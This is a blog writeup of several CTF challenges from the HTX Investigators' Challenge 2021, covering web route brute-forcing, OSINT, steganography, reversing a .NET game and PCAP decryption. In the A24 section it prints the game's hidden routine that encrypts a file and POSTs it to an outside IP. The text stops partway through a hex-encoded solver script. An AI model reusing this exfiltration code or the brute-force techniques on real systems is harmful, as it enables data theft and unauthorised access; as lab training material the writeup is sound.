This page looks best with JavaScript enabled

HTX Investigators' Challenge 2021 Writeups

Organized by HTX on 20 December

 ·  ☕ 18 min read  ·  🌈🕊️ rainbowpigeon

I’m really proud of my team for topping the scoreboard!
This CTF was done through a 3D Unity game where there are 3 locations for you to explore and find challenges in. There were hiccups with some challenges but generally it was still fine. It would have also been nice if the in-game description texts for challenges were made selectable so that we could copy-and-paste them elsewhere for convenience and organization.
🎵 Afrojack, Lucas & Steve, DubVision - Anywhere With You (Festival Mix) 🎵

Graph of challenge solves over time
Graph of challenge solves over time

A

A07 SHA Fuzz

Revo Force was also found to be using an online platform to supply information to conduct malicious activities. It is weird that there is not much information available on the online platform.
Investigate the online platform further to find any hidden web pages that contain information of their activities.

The flag will appear in the following format: htx{String}

Click the links to decode the challenge
Team 1-60
hxxp://10.8.202.1:5000
Team 61-119
hxxp://10.8.202.2:5000

Visiting the webpage brings us to /home where there is an interesting HTML comment in the body:

1
2
3
4
5
<div class="container mt-2 ml-2 text-success">
    <h2 class="text-left">Welcome to Reno Force United!</h2>
    <p>A community of hackers who seek <span class="text-danger">Reno</span>vation of the society around us. We welcome any hacker, professional or enthusiast, who shares this vision :-)</p>
</div>
<!--TOP SECRET ACCESS POINT: /SHA256(ROUTE) in LOWERCASE-->

Web Route Bruteforce

Since the challenge description says to “find any hidden web pages”, and the HTML comment suggests that web routes are SHA-256-hashed, I did a Burp Intruder scan for files and directories with the added option to SHA-256 hash each payload.

Burp Intruder scan for files and directories, processing each payload with the SHA-256 hash function

These are the pages found:

  • Homepage: /4ea140588150773ce3aace786aeef7f4049ce100fa649c94fbbddb960f1da942
  • Forum: /4eb41a2a9dfe70722ee4671a6d1fcc6921c26cc8bcb54e5632f5e7d740352940
  • Login: /428821350e9691491f616b754cd8315fb86d797ab35d843479e732ef90665324
  • Manual: /36bde66f289a35683683b041c6d8f418a5f36607b547da25d00ad55891e80b88

The Homepage tells us to refer to the Manual for the “definitive list of accessible URLs”.

1
2
3
4
5
6
7
8
<h2 class="text-left">Welcome to The <span class="font-italic text-primary">SUPER SECRET</span> Reno Force Hideout!</h2>
<p>Browsing Reno Force has never been so secure with the newly implemented <span class="text-danger">Reno</span>filter&#153;! This revolutionary system 
    keeps your browser history securely encoded, and protects RenoForce's confidential data from a variety of attacks! 
    <br/>
    <br/>
    To keep things extra private, we minimize the use of links on our website. Please refer to the manual attached in the membership induction package
    for the definitive list of accessible URLs.
</p>

The Manual page contains a download link to /static/manual.txt which contains a list of URLS we’ve already found through Burp Intruder except for “sha256 generator”.

1
2
3
4
5
<h2 class="text-left">URL Manual</h2>
<p>Oops! Have you misplaced your essential URL Manual? Do not fret! Download another copy using the link below!
    <br/>
    <a href="/static/manual.txt" download>Download</a>
</p>
1
2
3
4
5
home - 4ea140588150773ce3aace786aeef7f4049ce100fa649c94fbbddb960f1da942
manual - 36bde66f289a35683683b041c6d8f418a5f36607b547da25d00ad55891e80b88
login - 428821350e9691491f616b754cd8315fb86d797ab35d843479e732ef90665324
forum - 4eb41a2a9dfe70722ee4671a6d1fcc6921c26cc8bcb54e5632f5e7d740352940
sha256 generator - 5d5b09f6dcb2d53a5fffc60c4ac0d55fabdf556069d6631545f42aa6e3500f2e

The Login page has the HTML comment <!--Please don't brute force this! Try searching more!-->, so let’s ignore that for now.

The Forum page is the interesting one, so let’s take a look at that.

Forum

On the page there is an inline script that calls out to the “sha256 generator” page we saw earlier in manual.txt in order to generate the SHA-256 hashed route of forum posts based on their id attribute.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<script>
    $('.table > tbody > tr').click(function() {
        post = this.id;
        if(!post) return;
        route = 'forum/' + post;
        fetch(`/5d5b09f6dcb2d53a5fffc60c4ac0d55fabdf556069d6631545f42aa6e3500f2e?string=${route}`)
            .then(response => response.json())
            .then(data => document.location.href = '/' + data.url);
    });
</script>

And on the forum page, we can see that the ids for forum posts are just post concatenated with simple incrementing numbers:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<tbody>
    <tr id="post2">
        <th scope="row">
            Welcome to Reno Force!
        </th>
        <td>admin</td>
        <td>1</td>
    </tr>
    <tr id="post3">
        <th scope="row">
            Wow, this website isn't easy to use!
        </th>
        <td>waza</td>
        <td>2</td>
    </tr>
    <tr id="post4">
        <th scope="row">
            How's your day today!
        </th>
        <td>admin</td>
        <td>2</td>
    </tr>
    <tr id="post5">
        <th scope="row">
            I suspect this forum isn't very secure...
        </th>
        <td>3l33t</td>
        <td>2</td>
    </tr>
</tbody>

So maybe we can search for posts not shown on the current forum page?

Post ID Bruteforce

Burp Intruder comes in handy again. This time I do a short loop from forum/post1 to forum/post100 with SHA-256 hashing.

Burp Intruder scan for forum posts, processing each payload with a string prefix and the SHA-256 hash function

/e0ec165a064cc409f6116bc842080ac4daec347c3b8791699ef0b5e6d621dea8 which is from the SHA-256 hash of forum/post1 gave us admin credentials for login.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<tbody>
    <tr>
        <th scope="row">
            admin
        </th>
        <td>Just in case I forget: Credentials for login
            <br/>
            <br/>
            password: Id15l1k3p@55w0rds
        </td>
    </tr>
    <tr>
        <th scope="row">
            admin
        </th>
        <td>Oops. I should probably delete this.</td>
    </tr>
</tbody>

Logging In

Using the credentials admin:Id15l1k3p@55w0rds for the login page /428821350e9691491f616b754cd8315fb86d797ab35d843479e732ef90665324, we get the flag:

1
2
<h2 class="text-left">Welcome admin!</h2>
<p>htx{A_d1r3ct0Ry_Tr4v3rSaL_tRaV35Ty}</p>

Flag: htx{A_d1r3ct0Ry_Tr4v3rSaL_tRaV35Ty}

A08 Who Am I?

You are tasked to investigate the defaced website. A handle was found - use your investigation skills to identify the pepetrator

The flag will appear in the following format: htx{String}
Attached: Singapore_Prison_Service_SPS.mhtml

Opening the given .mhtml page in Microsoft Edge, we get a friendly message referencing what seems to be a username @revo_hax0r.

Singapore Prison Service website defaced by @revo_hax0r

I ran sherlock on the username and https://twitter.com/revo_hax0r was found.

My teammate Kai Xuan pointed https://twitter.com/AroldoRaegan/ out in revo_hax0r’s “Following” list as it wasn’t Twitter verified and also appeared to have a profile picture with an AI-generated face. The “Join Date” year and month are also the same for both accounts.

Exploring Aroldo’s tweets, we find that he links his GitHub page https://aroldoraegan.github.io/ which contains the flag.

Aroldo Raegan's tweet linking to his GitHub page

Aroldo Raegan's GitHub site contains the flag

Flag: htx{tw1tt3R_bR33Ds_Negl1g3ncE}

A14 Least Hidden Message

Revo Force has uploaded malware in the form of pictures onto the Singapore Prison Service’s website.
You have retrieved one of the pictures but it seems that there is a hidden secret message inside.

Download the attached picture for further investigation.

The flag and solution is a case sensitive string of text.
Attached: output.png

From the title of the challenge it sounds like there’s probably LSB steganography. zsteg is my favorite tool for PNG steganography so let’s run that.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
a@b:/mnt/c/HTXIC$ zsteg a14_output.png
imagedata           .. file: MIPSEB Ucode
b1,rgb,lsb,xy       .. text: "16:REVO_FORCE_GREATLN"
b1,rgb,msb,xy       .. text: "8*vbUU6z"
b2,r,msb,xy         .. text: "`]Vo_]eR"
b2,b,msb,xy         .. text: "/TbB\n\n*UUO"
b3,r,lsb,xy         .. text: "I$@{W7I$"
b4,r,lsb,xy         .. text: "6e4g\"\"\"\"3V"
b4,g,lsb,xy         .. text: "2U322EUv"
b4,b,lsb,xy         .. text: "\"\"\"\"3Ffw"
b4,b,msb,xy         .. text: "\"\"\"\"\"\"\"f"

Using the encoding scheme b1,rgb,lsb,xy we see the interesting string 16:REVO_FORCE_GREATLN. Sadly, this is not the flag but REVO_FORCE_GREAT is. Not the best flag design in my opinion.

Flag: REVO_FORCE_GREAT

A15 Find Revo Force’s hideout

Revo Force has uploaded malware in the form of pictures onto the Singapore Prison Service’s website.
However, they were careless and left some clues behind in the metadata.
Can you identify a landmark based on the most common latitude and longitude pair that will lead us to Revo Force’s hideout?

Download the attached pictures for further investigation.

The flag and solution is in the form of latitude and longitude, separated by a comma eg:
x.xxxxxx, yyy.yyyyyy
Round your latitude and longitude tuple to 6 decimal places.
Attached: cats_final.zip

cats_final.zip contains 72 JPG files with EXIF metadata containing GPS coordinates. We can find the most common latitude and longitude pair simply with:

1
2
3
4
5
6
a@b:/mnt/c/HTXIC/a15cats_final/cats_final$ exiftool -n -T -gpsposition * | uniq -c
     50 1.340885 103.644482
      5 26.7161549722222 108.148730638889
      3 1.71615497222222 120.148730638889
      9 38.7161549722222 -9.14873063888889
      5 1.71615497222222 120.148730638889

1.340885 103.644482 is the most common pair, which is actually directly the answer. I think the challenge description is a bit misleading when it says to “identify a landmark based on the most common latitude and longitude pair”.

Flag: 1.340885, 103.644482

A23 Reversing 101

There is a weird application found in one of the machines and it has been brought back to HTX office for analysis. Analyse the application to find the underlying secret behind it.

Completing this challenge will unlock A24.

The flag will appear in the following format: HTX{String}
Attached: TicTacToe.exe

The application is a .NET Tic-Tac-Toe game obfuscated with ConfuserEx v1.0.0.

.NET Tic-Tac-Toe game GUI

dnSpy shows ConfuserEx-obfuscated names for TicTacToe.exe

Deobfuscation

Fortunately, the executable is not packed so we can just use de4dot without any custom configuration and it’ll do a decent job in deobfuscating the names into something friendly for humans.

1
2
3
4
5
6
7
8
C:\de4dot\de4dot-net45>de4dot.exe C:\HTXIC\tests\TicTacToe.exe

de4dot v3.1.41592.3405

Detected Unknown Obfuscator (C:\HTXIC\tests\TicTacToe.exe)
Cleaning C:\HTXIC\tests\TicTacToe.exe
Renaming all obfuscated symbols
Saving C:\HTXIC\tests\TicTacToe-cleaned.exe

de4dot-cleaned executable with deobfuscated names in dnSpy

Though the application contains Form1 and Form2, the former is run first. Form2 is actually for A24 PCAP 101 instead.

Code Analysis

After going through all the interesting methods of Form1 and renaming classes/variables/methods, I had a good grasp of what was going on.

In the method that is called each time after a move is made, there is a secret function that will be called when the Player’s score is 3 and the Computer’s score is 2.

Function checking if the Player's score is 3 and the Computer's score is 2

1
2
3
4
5
6
7
8
9
public void method_hidden_locker()
{
    MessageBox.Show(Encoding.UTF8.GetString(Convert.FromBase64String("WW91IGhhdmUgYWNjZXNzZWQgdGhlIGhpZGRlbiBsb2NrZXIsIGNhbiB5b3UgdW5sb2NrIGl0Pw==")), Encoding.UTF8.GetString(Convert.FromBase64String("U2VjcmV0IQ==")), MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
    this.bool_check_pin_on_click = true;
    this.method_set_pin_buttons();
    this.label1.Text = "";
    this.next_round_button.Enabled = false;
    this.reset_game_button.Enabled = true;
}

The secret function displays the message You have accessed the hidden locker, can you unlock it?, turns the Tic-Tac-Toe board into a 9-digit PIN pad and sets this.bool_check_pin_on_click = true such that some functions will behave differently now that the application is in this “hidden locker” mode.

Tic-Tac-Toe board turned into a 9-digit PIN pad

Clicking on the numbered buttons will append the digit to a global variable as a string using method_add_to_global_pin. When the global string variable reaches a length of 9 meaning 9 digits have been clicked, this.method_pin_check() will be called.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
private void button7_Click(object sender, EventArgs e)
{
    if (!this.bool_check_pin_on_click)
    {
        if (this.list_global.Contains('7'))
        {
            this.button7.ForeColor = Color.Lime;
            this.button7.Text = "O";
            this.list_global.Remove('7');
            this.method_check_after_click();
        }
    }
    else
    {
        this.method_add_to_global_pin('7');
        this.method_pin_length_check();
    }
}

public void method_add_to_global_pin(char char_0)
{
    this.GLOBAL_PIN += char_0.ToString();
    Label label = this.label1;
    label.Text += char_0.ToString();
}

// Token: 0x0600000F RID: 15
public void method_pin_length_check()
{
    if (this.GLOBAL_PIN.Length == 9)
    {
        this.method_pin_check();
    }
}

The PIN checking function method_pin_check() checks if the 9 digits entered satisfy the lengthy boolean condition (num % num9 == 0 && num9 * 3 == num2 && num2 * 3 == num4 && num5 % num2 == 2 && num6 * 4 == num5 && num2 % num4 == num3 && num2 - num6 == num && num7 % num3 == num && num7 / 2 == num6 && num8 % num2 == num9 && num8 % num7 == num2). If it does, TtH/04xZb79By/VnbPZlBgO/D96vRmqPk0QT50gbdi8= will be Base64-decoded and AES-CBC-128 decrypted with a key derived from the 9-digit PIN as the password and Y0uSh0uldPr3ssth as the salt. 3butt0ns is the IV. The decrypted contents are probably the flag.

PIN checking function will decrypt and display the flag

Finding The PIN

To find the 9-digit PIN that satisfies the boolean condition, I used Z3.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from z3 import *

s = Solver()
pin = IntVector("n", 9)

for i in range(9):
    s.add(pin[i] > 0, pin[i] < 10)

# num % num9 == 0 
# && num9 * 3 == num2 
# && num2 * 3 == num4 
# && num5 % num2 == 2 
# && num6 * 4 == num5 
# && num2 % num4 == num3 
# && num2 - num6 == num 
# && num7 % num3 == num 
# && num7 / 2 == num6 
# && num8 % num2 == num9 
# && num8 % num7 == num2)

s.add(pin[0] % pin[8] == 0)
s.add(pin[8] * 3 == pin[1])
s.add(pin[1] * 3 == pin[3])
s.add(pin[4] % pin[1] == 2)
s.add(pin[5] * 4 == pin[4])
s.add(pin[1] % pin[3] == pin[2])
s.add(pin[1] - pin[5] == pin[0])
s.add(pin[6] % pin[2] == pin[0])
s.add(pin[6] / 2 == pin[5])
s.add(pin[7] % pin[1] == pin[8])
s.add(pin[7] % pin[6] == pin[1])

if s.check() == sat:
    m = s.model()
    final_pin = [m[pin[j]] for j in range(9)]
    print(final_pin)
1
2
a@b:/mnt/c/HTXIC$ python3 pin_solver.py
[1, 3, 3, 9, 8, 2, 4, 7, 1]

Entering the PIN 133982471 gets us the flag shown in a message box :)

PIN 133982471 is correct and decrypts the flag

Flag: HTX{R3v3rs1ngCSh4rp1sE4sy}

A24 PCAP 101

The application seems to be sending something suspicious. The network traffic has been captured and saved into a pcap file. Download the pcap file and analyse the network traffic.

The flag will appear in the following format: HTX{String}
Attached: TicTacToe.exe
Attached: Analyse.pcap

This is a continuation from A23 Reversing 101 using the same .NET executable.

After unlocking the “hidden locker” with the correct PIN, the message You have discovered a secret communication channel used by the attackers to exfiltrate information. The network traffic is captured and stored in the pcapng file provided. is displayed and Form2 is loaded.

Form2 for transmitting files/images in a secret communication channel

Code Analysis

Upon clicking ‘Send’ after selecting a file, the file contents will be AES-CBC-128 encrypted with cyb3rch3fd3crypt as the key. The encrypted contents as a hexadecimal string is prefixed with the 16-byte IV and suffixed with a !. This final payload is then sent in the body of a HTTP POST request to http://3.0.94.98:1337.
I’ve added some of the Base64-decoded strings as comments for ease of reference.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void send_Click(object sender, EventArgs e)
{
    try
    {
        byte[] byte_ = File.ReadAllBytes(this.filepath);
        byte[] byte_2 = Convert.FromBase64String("Y3liM3JjaDNmZDNjcnlwdA==");
        // cyb3rch3fd3crypt
        global::ClassCrypto classCrypto = new global::ClassCrypto();
        AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
        aesCryptoServiceProvider.GenerateIV();
        byte[] value = classCrypto.method_encrypt(byte_, byte_2, aesCryptoServiceProvider.IV);
        WebRequest webRequest = WebRequest.Create(Encoding.UTF8.GetString(Convert.FromBase64String("aHR0cDovLzMuMC45NC45ODoxMzM3")));
        // http://3.0.94.98:1337
        webRequest.Method = "POST";
        webRequest.Headers["Accept-From"] = "tictactoe";
        string s = BitConverter.ToString(aesCryptoServiceProvider.IV).Replace("-", string.Empty) + BitConverter.ToString(value).Replace("-", string.Empty) + "!";
        byte[] bytes = Encoding.UTF8.GetBytes(s);
        webRequest.ContentType = "text/html; charset=UTF-8";
        webRequest.ContentLength = (long)bytes.Length;
        Stream requestStream = webRequest.GetRequestStream();
        requestStream.Write(bytes, 0, bytes.Length);
        requestStream.Close();
        MessageBox.Show(Encoding.UTF8.GetString(Convert.FromBase64String("VXBsb2FkIFN1Y2Nlc3Mh")), Encoding.UTF8.GetString(Convert.FromBase64String("U3VjY2Vzcw==")), MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
        // Upload Success!
        // Success
    }
    catch
    {
        MessageBox.Show(Encoding.UTF8.GetString(Convert.FromBase64String("UGxlYXNlIHNlbGVjdCBhIGZpbGU=")), Encoding.UTF8.GetString(Convert.FromBase64String("Tm8gZmlsZSBzZWxlY3RlZA==")), MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
        // Please select a file
        // No file selected
    }
}

PCAP

Now if we filter for HTTP POST requests to 3.0.94.98 in the given Analyse.pcap, we get 5 requests that seem to be sent by the code we saw earlier in Code Analysis. The destination port is 1337, the Accept-From header is set with tictactoe, and the body data is a long hexadecimal string ending with a !.

5 HTTP POST requests containing exfiltrated data in the given Analyse.cap

Since we know the format of the body data from our earlier analysis, let’s decrypt these packets and find out what files are being transmitted.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import pyshark
from Crypto.Cipher import AES

KEY = b"cyb3rch3fd3crypt"

cap = pyshark.FileCapture("Analyse.pcap", display_filter="http.request.method == POST && ip.dst == 3.0.94.98")

for i, packet in enumerate(cap):
    payload = packet.http.file_data.rstrip("!")
    iv = bytes.fromhex(payload[:32])
    enc_data = bytes.fromhex(payload[32:])

    aes = AES.new(KEY, AES.MODE_CBC, iv)
    dec_data = aes.decrypt(enc_data)

    with open("decrypted{}".format(i), "wb") as f:
        f.write(dec_data)
        print("Saved decrypted file {}".format(i))

cap.close()

4 of the decrypted files appear to be JPEG images while 1 contains 4 passwords in plaintext.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
a@b:/mnt/c/HTXIC/decrypted$ file *
decrypted0: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 374x531, components 3
decrypted1: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 364x530, components 3
decrypted2: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 381x546, components 3
decrypted3: data
decrypted4: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 359x543, components 3
a@b:/mnt/c/HTXIC/decrypted$ cat decrypted3
Password: m0n77_bl4nc
Password: sUpeR_s0n1c
Password: 4v3nG3er555
Password: 1c3_m0unTa1n
4 decrypted images pieced together

Steganography

Since the 4 decrypted images pieced together imply that something “Top Secret” and “Confidential” is contained within them, I posited that the 4 plaintext passwords transmitted were meant to be used to steganographically decode the 4 images.

steghide is one of the more well-known tools for JPEG steganography, so I tried that first and it worked. Guessing which password was for which image was something I had to do though.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
a@b:/mnt/c/HTXIC/decrypted$ steghide extract -sf decrypted0.jpg -p 4v3nG3er555 -
xf secret0.txt
wrote extracted data to "secret0.txt".
a@b:/mnt/c/HTXIC/decrypted$ steghide extract -sf decrypted1.jpg -p 1c3_m0unTa1n
-xf secret1.txt
wrote extracted data to "secret1.txt".
a@b:/mnt/c/HTXIC/decrypted$ steghide extract -sf decrypted2.jpg -p m0n77_bl4nc -
xf secret2.txt
wrote extracted data to "secret2.txt".
a@b:/mnt/c/HTXIC/decrypted$ steghide extract -sf decrypted4.jpg -p sUpeR_s0n1c -
xf secret4.txt
wrote extracted data to "secret4.txt".

The decoded text files then contain fragments of the flag:

1
2
3
4
5
a@b:/mnt/c/HTXIC/decrypted$ awk '{print $0}' *.txt
HTX{5t
3gg0!!}
eg0_cR
ypt0_l

Flag: HTX{5teg0_cRypt0_l3gg0!!}

B

B36 Just Another Retro Game

Play your best game to find what you seek with the laptop.

The flag will appear in the following format: HTX{String}

Click the links to enter the game Team 1-60
hxxp://10.8.205.1/en/
Team 61-119
hxxp://10.8.205.2/en/

The website hosts a web version of the Pikachu Volleyball game with the source code stated to be available here: https://github.com/gorisanson/pikachu-volleyball. The game involves 2 players and you can play with either the computer or a friend. The objective is to try to reach a winning score first.

Pikachu Volleyball web game homepage

Source Code Analysis

My teammates Zeyu and Jared discovered that the game’s source code on the site has a few suspicious modifications absent in the official version on GitHub.
The source code can be seen at /main.bundle.js, though it will also actually be helpfully mapped back to its original individual JS files when viewed in the Sources tab of Chrome DevTools.

JS source files of Pikachu Volleyball in Chrome DevTools

When comparing these individual JS files with the official ones on GitHub at https://github.com/gorisanson/pikachu-volleyball/tree/main/src/resources/js, you will notice that they don’t seem to be altered from the latest commit (Sep 19, 2021) but rather from commit 307bbf5325765e5840ebfd1bd0644f75e8d7a2c1 (Mar 19, 2021).

And what were the alterations introduced?

First, in assets_path.js, a TEXTURE.WINNING_MESSAGE containing a long hexadecimal string representing a PNG has been introduced.

New PNG asset added as a hexadecimal string

Second, in view.js, 2 functions decodeImage and imagetoBytes have been added for the purpose of extracting bytes from TEXTURE.WINNING_MESSAGE depending on scores.
scores is a 2-element array that represents the scores of the 2 players as seen in the source code:

1
2
/** @type {number[]} [0] for player 1 score, [1] for player 2 score */
this.scores = [0, 0];

Functions introduced to extract bytes from an image

Third, in pikavolley.js, code has been added to call decodeImage and this.reset when the game ends (this.gameEnded == true). The extracted bytes from decodeImage (this.imgBuffer) and the 2-element array this.scores are passed into this.reset. The result is then tested to contain printable characters using the regular expression /^[\x21-\x7F]*$/.

Additional code added to execute when game ends

What does this.reset do? Though it comes with the innocuous comment Reset Scoreboard, the astute player will immediately recognize that the function actually performs RC4 encryption/decryption. In this case when it is called when the game ends, it will try to RC4-decrypt the extracted bytes from decodeImage using the 2-element scores array (padded into a string) as the key.

'reset' function added actually performs RC4 encryption/decryption

Thus, we need to find the correct pair of scores for the scores array to decode and decrypt TEXTURE.WINNING_MESSAGE into what will probably be the flag.

Since all these code will only be executed when this.gameEnded == true, let’s take a look at where this condition is set. Searching inside main.bundle.js, we see that the game is considered to be ended when either Player 1 or Player 2 has a score equal to the winning score.

Source code showing the conditions required for the game to end

And in ui.js, the game code has actually also been modified to add 20, 25, and 30 has potential winning scores.

Modifications to add 20, 25, and 30 as potential winning scores

What we can do is to bruteforce all the combinations where one player attains a winning score while the other has any score lower than the winning score. The code will look something like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
const winning_scores = [5, 10, 15, 20, 25, 30];

function solve() {
    for (const p1_score of winning_scores) {
        for (let p2_score=0; p2_score<p1_score; p2_score++) {
            // Player 1 with winning score
            let scores = [p1_score, p2_score];
            decrypt(scores);
            // Player 2 with winning score
            scores.reverse();
            decrypt(scores);
        }
    }
}

Solver Script

With the other functions lifted from the modified game source code, the full solver script is as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
const TEXTURE.WINNING_MESSAGE = "89504e470d0a1a0a0000000d49484452000000300000003008060000005702f98700000419694343506b4347436f6c6f72537061636547656e657269635247420000388d8d555d681c55143ebb73672324ce536c348574a83f0d250d935634a1b4ba7fdddd366e964936da22e864f6eece98c9ce3833bbfda14f45507c31ea9b14c4bfb7802028f50fdb3eb42f950a25dad420283eb4f88350e88ba6eb993b339969bab1de65ee7cf39def9e7beeb967ef05e8b9aa5896911401169aae2d1732e273878f883d2b908487a01706a157511d2b5da94c02364f0b77b55bdf43c27b5fd9d5ddfe9fadb7461d1520711f62b3e6a80b888f01f0a755cb76017afa911f3fea5a1ef662e8b73140c42f7ab8e163d7c3733e7e8d6966e42ce2d3880555536a8897108fccc5f8460cfb31b0d65fa04d6aebaae8e5a2629b75dda0b170ef61fe9f6dc16885f36dc3a7cf999f3e84ef615cfb2b3525e7e151c44baa929f46fc08e26b6d7db61ce0db969b91113f0690dcde9aafa611ef445cacdb07aabe9fa4adb58a217ee78436f32ce22d88cf37e7ca53c1d8abaa93c59cc176c4b7355af2f23b04c089ba5b9af1c772fb6d539ef2e7e5ea359acb7b7944fcfabc7948f67d729f39ede97ce8f384962d07fca597948315c483887fa14641f6e7e2feb1dc4a1003196a1ae5497f2e92a30e5b2fe35d6da6e8cf4b0c1737d41f4b16ebfa8152a0ff44b38b7280af5906ab518c8d4fda2db9eaebf951c5ce177c9f7c8536ab817fbe0db3090528983087bd0a4d58031164284006df16d868a9830e063214ad14198a5fa166171be7c03cf23ab499cdc1bec294fec8c85f83f9b8ceb42a64873e8216b21afc8eac16d365f1ab855c63133f7e2c37023f26192012d983cf5e3249f69171320122798a3c4df6931cb21364effad84a6c455e3c37d6fdbc8c3352a69b45dd39b4bba060ff332a4c5c53d7ac2c0eb68623cb29fb055dbdfcc65fb15ce92c3751b6e2199dba57cef95ff9ebfc32f62bfc6aa4e07fe457f1b772c75accbbb24cc3ec6c587377551a6d06e316f0d199c589c51df371f1e4570f467e96c999e7aff45d3c596f2e0e46ac9705fa6af956194e8d44acf483f487b42cbd277d28fdc6bdcd7dca7dcd7dce7dc15d02913bcb9de3bee12e701f735fc6f66af31a5adf7b167918b767e9966bac4a21236c151e1672c236e1516132f2270c08634251d88196adebfb169f2f9e3d1d0e631fe6a7fb5cbe2e560189fbb102f44dfe555554e97094291d566f4d38be41138c2443648c943654f7b857f3a122954fe5526910533b5313a9b1d4410f87b3a676a06d02fbfc1dd5a96eb252ead263de7d0259d33a6eeb0dcd15774bd293621aaf362a969aeae888a81886c84c8e685387da6d5a1b05efdef48ff49b32bb0f135b2e479cfb0cc0be3ff1ecfb2ee28eb400961c8081c7236e18cfca07de0538f384dab2dbc11d91487c0be0d4f7ecf6bffa32787efdd4e9dcc473ace72d80b5373b9dbfdfef74d63e40ffab00678d7f01a09f7c55035c0bef0000006c655849664d4d002a000000080004011a0005000000010000003e011b0005000000010000004601280003000000010002000087690004000000010000004e00000000000000900000000100000090000000010002a00200040000000100000030a0030004000000010000003000000000b11d850a0000000970485973000016250000162501495224f000000315494441546805cd996192d3300c85e34e197e700c8e07d7e1781c836198dd21f40bf3bc8a2a3bb6db34f14c6bd9919ede939c842d699aa6f9f6c9e3ebfc39db7b1a3fd39f2a7c0b0f30aef3fc2503a5f42bdb7b1996b8cdad7c7068254ffc5581cc6cf400d8586b9708887c893818a5588b0f8e30d2cd581d217521021201c0046081650b436bcd518c7ca37c8ab3b325cffeaa036c28893ad14a9a580d6168bd35b790170f8f7d2740c97044840fd0f557cebeea367751004e7b9357972d216b97aa6e7daa02ace3b3ed16f22d05bc3c9b580bdeb3c893eb10015456c7c30bae9d77efbb08a01a6719bde417017c1d21c2776184fc22a0e5198ce3e8a038fa943046c983b7dc0388287541c94bd74ba4d827669ee7e5a375e45fcb1ff9dbbdea4ddc4ac0028edaa322aa0246c9d8b894d2ad13c96e65dbdf07bd2228f0a6801a019800c2271afe45e4d73e867b8151c2f3feacab6f62125ab08840b46713b55c570eebcb9e5d5b4c6caed3b1aa001c6b205c676c25fbefb5fe7e4fefab0d9f87750957e40158048c3cc600b1c3af3d21ebebc9db6bbd76d8019be03a872e4b6720fd36adff86fe347dfcb5d44ba6c5df561fffbb9bd892c7c1afd93b72d059ddecf0b813d0430e302aaed15afd52578563677f34b96645c4e7d0226c6980298776eb3a89a8b6c4a2c083c77ede874440d8c0b78a4f0ff17dbc3f8f1126c6177b72705a3c265802407bc7a90bb79efcdb96ad461711e23e634be61c65233e6bc43a432340ed313dcda3f786f1744a0b806f741657c8b5803c2b0c4a4037e257e6d4aa22975328d0f1b0c8fbbcdefd33ea1d865823bf111de98913fa5376df465e66353f6c2253ee04a855aa9ed58dce19b45df15880404749f93891632e61b32fbf0bc61947eded2bf2f0bed41ccf20cc1618db925f04f02511d6f968f2fa37dab7db93fe7bfa9d89c3d58e7c0fe802224a67cf06ee69431ee21a3fa6bfc5ff3bcb02e47ce44cf12c71b8d4c873fd4326ab0347747cb7c843f71402746c39ba90ee19a73a4210d7331e5bf72576691cde0155df136c214fcce1023cf1def5e904d091d6ea871d20387a22f456e655fea7eb40aff07ff084919c47a2db0d00000315494441546805cd996192d3300c85e34e197e700c8e07d7e1781c836198dd21f40bf3bc8a2a3bb6db34f14c6bd9919ede939c842d699aa6f9f6c9e3ebfc39db7b1a3fd39f2a7c0b0f30aef3fc2503a5f42bdb7b1996b8cdad7c7068254ffc5581cc6cf400d8586b9708887c893818a5588b0f8e30d2cd581d217521021201c0046081650b436bcd518c7ca37c8ab3b325cffeaa036c28893ad14a9a580d6168bd35b790170f8f7d2740c97044840fd0f557cebeea367751004e7b9357972d216b97aa6e7daa02ace3b3ed16f22d05bc3c9b580bdeb3c893eb10015456c7c30bae9d77efbb08a01a6719bde417017c1d21c2776184fc22a0e5198ce3e8a038fa943046c983b7dc0388287541c94bd74ba4d827669ee7e5a375e45fcb1ff9dbbdea4ddc4ac0028edaa322aa0246c9d8b894d2ad13c96e65dbdf07bd2228f0a6801a019800c2271afe45e4d73e867b8151c2f3feacab6f62125ab08840b46713b55c570eebcb9e5d5b4c6caed3b1aa001c6b205c676c25fbefb5fe7e4fefab0d9f87750957e40158048c3cc600b1c3af3d21ebebc9db6bbd76d8019be03a872e4b6720fd36adff86fe347dfcb5d44ba6c5df561fffbb9bd892c7c1afd93b72d059ddecf0b813d0430e302aaed15afd52578563677f34b96645c4e7d0226c6980298776eb3a89a8b6c4a2c083c77ede874440d8c0b78a4f0ff17dbc3f8f1126c6177b72705a3c265802407bc7a90bb79efcdb96ad461711e23e634be61c65233e6bc43a432340ed313dcd